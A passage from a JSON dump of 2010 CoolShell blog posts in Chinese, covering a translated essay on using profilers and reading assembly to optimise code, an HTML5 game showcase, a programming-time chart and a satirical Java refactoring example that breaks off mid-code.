    "content": "<html><body><p>本文译自Dr. Dobb’s Blogger的Walter Bright写的《<a href=\"http://www.drdobbs.com/blog/archives/2010/09/overlooked_esse.html\" target=\"_blank\">Overlooked Essentials For Optimizing Code</a></p>\n<p>》</p>\n<hr/>\n<p>我编写程序至今有35年了，我做了很多关于程序执行速度方面优化的工(<a href=\"http://biolpc22.york.ac.uk/wx/wxhatch/wxMSW_Compiler_choice.html\">一个示例</a>)，我也看过其它人做的优化。我发现有两个最基本的优化技术总是被人所忽略。  注意，这两个技术并不是避免时机不成熟的优化。并不是把冒泡排序变成快速排序（算法优化）。也不是语言或是编译器的优化。也不是把 i*4写成i&lt;&lt;2 的优化。  这两个技术是：</p>\n<ol>\n<li>使用 一个profiler。</li>\n<li>查看程序执行时的汇编码。</li>\n</ol>\n<p>使用这两个技术的人将会成功地写出运行快的代码，不会使用这两个技术的人则不行。下面让我为你细细道来。</p>\n<h4>使用一个 Profiler</h4>\n<p>我们知道，程序运行时的90%的时间是用在了10%的代码上。我发现这并不准确。一次又一次地，我发现，几乎所有的程序会在1%的代码上花了99%的运行时间。但是，是哪个1%？一个好的Profiler可以告诉你这个答案。就算我们需要使用100个小时在这1%的代码上进行优化，也比使用100个小时在其它99%的代码上优化产生的效益要高得多得多。<span id=\"more-2967\"></span> 问题是什么？人们不用profiler？不是。我工作过的一个地方使用了一个华丽而奢侈的Profiler，但是自从购买这个Profiler后，它的包装3年来还是那么的暂新。为什么人们不用？我真的不知道。有一次，我和我的同事去了一个负载过大的交易所，我同事坚持说他知道哪里是瓶颈，毕竟，他是一个很有经验的专家。最终，我把我的Profiler在他的项目上运行了一下，我们发现那个瓶颈完全在一个意想不到的地方。  就像是赛车一样。团队是赢在传感器和日志上，这些东西提供了所有的一切。你可以调整一下赛车手的裤子以让其在比赛过程中更舒服，但是这不会让你赢得比赛，也不会让你更有竞争力。如果你不知道你的速度上不去是因为引擎、排气装置、空体动力学、轮胎气压，或是赛车手，那么你将无法获胜。编程为什么会不同呢？只要没有测量，你就永远无法进步。  这个世界上有太多可以使用的Profiler了。随便找一个你就可以看到你的函数的调用层次，调用的次数，以前每条代码的时间分解表（甚至可以到汇编级）。我看过太多的程序员回避使用Profiler，而是把时间花在那些无用的，错误的方向上的“优化”，而被其竞争对手所羞辱。（<strong>译者陈皓注</strong>：使用Profiler时，重点需要关注：1）花时间多的函数以优化其算法，2）调用次数巨多的函数——如果一个函数每秒被调用300K次，你只需要优化出0.001毫秒，那也是相当大的优化。这就是作者所谓的1%的代码占用了99%的CPU时间）</p>\n<h4>查看汇编代码</h4>\n<p>几年前，我有一个同事，Mary Bailey，她在华盛顿大学教矫正代数（remedial algebra），有一次，她在黑板上写下：  <code>x + 3 = 5</code> 然后问他的学生“求解x”，然后学生们不知道答案。于是她写下：  <code>__ + 3 = 5</code> 然后，再问学生“填空”，所有的学生都可以回答了。未知数x就像是一个有魔法的字母让大家都在想“x意味着代数，而我没有学过代数，所以我就不知道这个怎么做”。  汇编程序就是编程世界的代数。如果某人问我“inline函数是否被编译器展开了？”或是问我“如果我写下i*4，编译器会把其优化为左移位操作吗？”。这个时候，我都会建议他们看看编译器的汇编码。这样的回答是不是很粗暴和无用？通常，在我这样回答了提问者后，提问都通常都会说，对不起，我不知道什么是汇编！甚至C++的专家都会这么回答。  汇编语言是最简单的编程语言了（就算是和C++相比也是这样的），如：</p>\n<p style=\"padding-left: 30px;\"><code>ADD ESI,x</code></p>\n<p>就是（C风格的代码）</p>\n<p style=\"padding-left: 30px;\"><code>ESI += x;</code></p>\n<p>而：</p>\n<p style=\"padding-left: 30px;\"><code>CALL foo</code></p>\n<p>则是：</p>\n<p style=\"padding-left: 30px;\"><code>foo();</code></p>\n<p>细节因为CPU的种类而不同，但这就是其如何工作的。有时候，我们甚至都不需要细节，只需要看看汇编码的长啥样，然后和源代码比一比，你就可以知道汇编代码很多很多了。  那么，这又如何帮助代码优化？举个例子，我几年前认识一个程序员认为他应该去发现一个新的更快的算法。他有一个benchmark来证明这个算法，并且其写了一篇非常漂亮的文章关于他的这个算法。但是，有人看了一下其原来算法以及新算法的汇编，发现了他的改进版本的算法允许其编译器把两个除法操作变成了一个。这和算法真的没有什么关系。我们知道除法操作是一个很昂贵的操作，并且在其算法中，这俩个除法操作还在一个内嵌循环中，所以，他的改进版的算法当然要快一些。但，只需要在原来的算法上做一点点小的改动——使用一个除法操作，那么其原来的算法将会和新的一样快。而他的新发现什么也不是。  下一个例子，一个D用户张贴了一个 benchmark 来显示 dmd (Digital Mars D 编译器)在整型算法上的很糟糕，而ldc (LLVM D 编译器) 就好很多了。对于这样的结果，其相当的有意见。我迅速地看了一下汇编，发现两个编译器编译出来相当的一致，并没有什么明显的东西要对2：1这么大的不同而负责。但是我们看到有一个对long型整数的除法，这个除法调用了运行库。而这个库成为消耗时间的杀手，其它所有的加减法都没有速度上的影响。出乎意料地，benchmark 和算法代码生成一点关系也没有，完全就是long型整数的除法的问题。这暴露了在dmd的运行库中的long型除法的实现很差。修正后就可以提高速度。所以，这和编译器没有什么关系，但是如果不看汇编，你将无法发现这一切。  查看汇编代码经常会给你一些意想不到的东西让你知道为什么程序的性能是那样。一些意想不到的函数调用，预料不到的自傲，以及不应该存在的东西，等等其实所有的一切。但也不需要成为一个汇编代码的黑客才能干的事。</p>\n<h4>结论</h4>\n<p>如果你觉得需要程序有更好的执行速度，那么，最基本的方法就是使用一个profiler和愿意去查看一下其汇编代码以找到程序的瓶颈。只有找到了程序的瓶颈，此时才是真正在思考如何去改进的时候，比如思考一个更好的算法，使用更快的语言优化，等等。  常规的做法是制胜法宝是挑选一个最佳的算法而不是进行微优化。虽然这种做法是无可异议的，但是有两件事情是学校没有教给你而需要你重点注意的。第一个也是最重要的，如果你优化的算法没没有参与到你程序性能中的算法，那么你优化他只是在浪费时间和精力，并且还转移了你的注意力让你错过了应该要去优化的部分。第二点，算法的性能总和处理的数据密切相关的，就算是冒泡排序有那么多的笑柄，但是如果其处理的数据基本是排好序的，只有其中几个数据是未排序的，那么冒泡排序也是所有排序算法里性能最好的。所以，担心没有使用好的算法而不去测量，只会浪费时间，无论是你的还是计算机的。  就好像赛车零件的订购速底是不会让你更靠进冠军（就算是你正确安装零件也不会），没有Profiler，你不会知道问题在哪里，不去看汇编，你可能知道问题所在，但你往往不知道为什么。  (全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2967.html\">代码优化概要</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-20 用脚本实现哄宝宝睡觉(Demo).html",
    "content": "<html><body><p>去年，本站发布了一篇文章《<a href=\"https://coolshell.cn/articles/1539.html\" target=\"_blank\">用脚本哄宝宝睡觉</a>》，具体想法是把摇篮和光驱连一起，然后用脚本把光驱弹出和收入以实现驱动摇篮。今天在网上看到一个具体实现，呵呵。看下面的视频：</p>\n<p style=\"text-align: center;\"><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1539.html\"><img alt=\"用脚本实现哄小孩睡觉\" height=\"150\" src=\"../wp-content/uploads/2009/10/baby_linux-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1539.html\">用脚本实现哄小孩睡觉</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1379.html\"><img alt=\"如何调试bash脚本\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1379.html\">如何调试bash脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2987.html\">用脚本实现哄宝宝睡觉(Demo)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-21 HTML5 小游戏展示.html",
    "content": "<html><body><p>使用 HTML5 的 Canvas可以搞出一些很有趣的东西，如2D图形，位图，动画等。而使用Javascript来操作这些东西，可以设计出很多的小游戏。 下面是一些用HTML5做出来的小游戏，让我想得了我小时候的那些游戏。</p>\n<p>顺祝大家中秋节快乐！以及进入史上最混乱的长假调休。呵呵。</p>\n<h4><a href=\"http://hakim.se/experiments/html5/sinuous/01/\" rel=\"nofollow\" target=\"_blank\">Sinuous</a></h4>\n<p>小心被红点撞上。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-4.jpg\"/></p>\n<h4><a href=\"http://www.nihilogic.dk/labs/mariokart/\" rel=\"nofollow\" target=\"_blank\">超级玛丽卡丁车</a></h4>\n<p>A small but fun racing game built in html5 canvas and javascript.</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-1.jpg\"/></p>\n<p><span id=\"more-2998\"></span></p>\n<h4><a href=\"http://arandomurl.com/2010/07/25/html5-pacman.html\" rel=\"nofollow\" target=\"_blank\">吃豆</a></h4>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-5.jpg\"/></p>\n<h4><a href=\"http://www.benjoffe.com/code/games/torus/\" rel=\"nofollow\" target=\"_blank\">圆环俄罗斯方块</a></h4>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-2.jpg\"/></p>\n<h4><a href=\"http://www.kevs3d.co.uk/dev/asteroids/\" rel=\"nofollow\" target=\"_blank\">Asteroids</a></h4>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-3.jpg\"/></p>\n<h4><a href=\"http://www.paulbrunt.co.uk/bert/\" rel=\"nofollow\" target=\"_blank\">Bert’s Breakdown</a></h4>\n<p>很不错的游戏，漂亮的界面以及不错的关卡设置。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-6.jpg\"/></p>\n<h4><a href=\"http://reas.com/twitch/\" rel=\"nofollow\" target=\"_blank\">TWITCH</a></h4>\n<p>TWITCH是一个解题性质的游戏。试试看你有多快。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-7.jpg\"/></p>\n<h4><a href=\"http://29a.ch/jswars/\" rel=\"nofollow\" target=\"_blank\">JS Wars</a></h4>\n<p>一个经典的空战游戏。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-8.jpg\"/></p>\n<h4><a href=\"http://www.yvoschaap.com/chainrxn/\" rel=\"nofollow\" target=\"_blank\">Chain Reaction</a></h4>\n<p>一个简单又容易上瘾的游戏。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-9.jpg\"/></p>\n<h4><a href=\"http://grenlibre.fr/demo/same/\" rel=\"nofollow\" target=\"_blank\">Same Game</a></h4>\n<p>这个游戏相信大家都会玩，把相同颜色的连在一起。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-10.jpg\"/></p>\n<h4><a href=\"http://www.wiicade.com/playJSGame.aspx?gameID=1317&amp;gameName=Coverfire\" rel=\"nofollow\" target=\"_blank\">Coverfire</a></h4>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-11.jpg\"/></p>\n<h4><a href=\"http://www.mattpelham.com/racing/\" rel=\"nofollow\" target=\"_blank\">JQuery Racing</a></h4>\n<p>靠！这个游戏很耐完，我相信你一定会在上面花很多时间。 jQuery 做的。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-12.jpg\"/></p>\n<h3><a href=\"http://joncom.be/experiments/thrust/\" rel=\"nofollow\">Thrust</a></h3>\n<p>经典的八位图游戏。让我想起了《<a href=\"https://coolshell.cn/articles/2834.html\" target=\"_blank\" title=\"史上最烂的超级玛丽\">史上最烂的超级玛丽</a>》</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-13.jpg\"/></p>\n<h3><a href=\"http://aduros.emufarmers.com/easel/\" rel=\"nofollow\">俄罗斯方块</a></h3>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-14.jpg\"/></p>\n<h4><a href=\"http://alteredqualia.com/cubeout/\" rel=\"nofollow\" target=\"_blank\">3D 俄罗斯方块 – Cubeout</a></h4>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-15.jpg\"/></p>\n<h4><a href=\"http://dougx.net/plunder/plunder.html\" rel=\"nofollow\" target=\"_blank\">Galatic Plunder</a></h4>\n<p>这个游戏使用了Canvas 和 Audio，主要是为了证明，没有Flash，用HTML5一样行。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-16.jpg\"/></p>\n<h4><a href=\"http://10k.aneventapart.com/Uploads/62/\" rel=\"nofollow\" target=\"_blank\">Lines</a></h4>\n<p>很简单的游戏，我老看到办公室里很多人在玩。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-17.jpg\"/></p>\n<h4><a href=\"http://10k.aneventapart.com/Uploads/392/\" rel=\"nofollow\" target=\"_blank\">RGB Invaders</a></h4>\n<p>小蜜蜂。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-18.jpg\"/></p>\n<h4><a href=\"http://www.agent8ball.com/\" rel=\"nofollow\" target=\"_blank\">Agent 008 Ball</a></h4>\n<p>受不了了，还有台球。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-19.jpg\"/></p>\n<h4><a href=\"http://www.somethinghitme.com/projects/jslander/\" rel=\"nofollow\" target=\"_blank\">JSLander</a></h4>\n<p>一个飞船着陆游戏。速度不要起过去6，不然就坠毁了。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-20.jpg\"/></p>\n<h4><a href=\"http://10k.aneventapart.com/Uploads/27/\" rel=\"nofollow\" target=\"_blank\">Rainbow Blocks</a></h4>\n<p>SameGame 和JT的另一种变种。</p>\n<p><img alt=\"\" src=\"../wp-content/uploads/2010/09/canvas-21.jpg\"/></p>\n<p><strong>文章</strong>：<a href=\"http://blog.insicdesigns.com/2010/09/showcase-of-games-developed-using-html5-canvas/\">http://blog.insicdesigns.com/2010/09/showcase-of-games-developed-using-html5-canvas/</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3267.html\"><img alt=\"游戏Flash vs HTML5\" height=\"150\" src=\"../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3267.html\">游戏Flash vs HTML5</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2998.html\">HTML5 小游戏展示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-21 编程时间分配图.html",
    "content": "<html><body><p>下面是一个程序员coding的时间分配图，原图在<a href=\"http://graphjam.files.wordpress.com/2010/09/8463a94d-0945-43b6-9adf-db795bbc14b9.png\" target=\"_blank\">这里</a>。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2991\" style=\"width: 535px;\"><img alt=\"\" class=\"size-full wp-image-2991\" height=\"478\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-Programming.png\" title=\"Time Allocation while  Programming\" width=\"535\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2991\">编程时间分配图</figcaption></figure>\n<p>思考会是一个很重要的过程，当然耽搁拖沓也有可能也是因为没有想好，抽烟/喝咖啡应该也是一种思考，吃点东西是为了让脑子转得更快一点，上网搜索一下灵感可以借鉴一下其它人的想法，抱怨写注释只是一个例子，更多的应该是抱怨加班或是公司的老板。</p>\n<p>如果需要加上点什么的话，我觉得应该加点“重构”，“编译”，“调试”，当然，他们都可以算在coding里。不过，我觉得更应该还有：“开会”，“争吵/解释”，“打断”，这些比重也是很大的。</p>\n<p>所以，下面是我个人认为比较实际的版本：</p>\n<p><span id=\"more-2990\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"size-full wp-image-2996\" height=\"429\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-ProgrammingCoolShell.cn_.png\" title=\"Time Allocation while  Programming(CoolShell.cn)\" width=\"660\"/></p>\n<p style=\"text-align: center;\">编程时间图（酷壳版）</p>\n<p>你的编程时间分配图是怎么样的？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-9-25 代码重构的一个示例.html",
    "content": "<html><body><p>还记得以前和大家提到过的《<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">各种流行的编程风格</a>》吗？有一些人问我那些编程风格具体是什么样子的。下面是一个代码重构的实例，让我们看看那个流行的编程风格是实践是什么样的。下面的这个实践不是虚构，如有雷同，请对号入座。</p>\n<p>首先，我们有一个表达式如下所示：</p>\n<p><code class=\"EnlighterJSRAW\">s = 7;</code></p>\n<p>很明显，这个表达式的变量名太没意义了，很不利于程序的可读性，所以，我们需要取一个有意义的变量名：</p>\n<p><code class=\"EnlighterJSRAW\">slots = 7;</code></p>\n<p>很好，不过，那个常量7是hard-code或是一个Magic number，而且，这常量没有名字也不利于代码的可读性啊。再改：</p>\n<p><span id=\"more-3005\"></span></p>\n<pre class=\"EnlighterJSRAW\">SEVEN = 7;\n...\nslots = SEVEN;</pre>\n<p>靠！上面，是这是哪门子的改法？（不过，我保证这是真实发生的），常量名也要有意义一点嘛，再改：</p>\n<pre class=\"EnlighterJSRAW\">SLOTS_PER_WIDGET = 7;\n...\nslots = SLOTS_PER_WIDGET;</pre>\n<p>这还差不多，不过，名字可能会重名啊，最好放到一个类中：</p>\n<pre class=\"EnlighterJSRAW\">import widgetConstants;\n...\nslots = widgetConstants.SLOTS_PER_WIDGET;</pre>\n<p>现在看起来好很多了，不过，即然面向对象了，我们当然要学会使用Design Pattern，比如Factory啊，或是Singleton啊什么的：</p>\n<pre class=\"EnlighterJSRAW\">widgetModelFactory = WidgetModelFactory.getInstance();\nwidgetModel = widgetModelFactory.getWidgetModel() ;\nslots = widgetModel.getSlotsPerWidget();</pre>\n<p>当然，要是考虑到整体的类结构，上面的那些还不够，下面是我们最终的重构代码：（欢迎来到真实的Java世界）</p>\n<pre class=\"EnlighterJSRAW\">context = Context.getCurrentContext();\nserviceDirectoryFactory = ServiceDirectoryFactory.getServiceDirectory(context);\nserviceDirectory = serviceDirectoryFactory.getServiceDirectory(context);\nserviceDescriptor = ServiceDescriptorFactory.getDescriptor(\"widgetModelFactory\");\nwidgetModelFactoryServiceLocator = 